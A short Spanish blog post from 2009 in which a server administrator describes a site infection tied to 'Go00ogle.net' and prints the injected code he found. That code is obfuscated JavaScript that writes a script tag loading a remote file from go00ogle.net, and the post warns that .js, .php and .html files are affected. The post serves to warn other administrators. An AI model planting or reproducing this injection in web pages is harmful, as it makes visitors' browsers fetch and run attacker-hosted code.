Infectado por Go00ogle.net

10/19/2009 0 Por viperEF

Llevo tiempo intentando librarme de una infeccion en uno de mis servidores, Google Chrome y FireFox detectan la web como insegura y te bloquean el paso con la pantalla ROJA DE LA MUERTE , invitandote a no entrar, pues bien rebuscando rebuscando , he dado con el codigo malicioso injectado que es el siguiente:

function advQuery(){
var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");
document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));
document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));
};advQuery();

suele infectar archivos del tipo .js .php y .html , así que ya podéis revisar vuestros archivos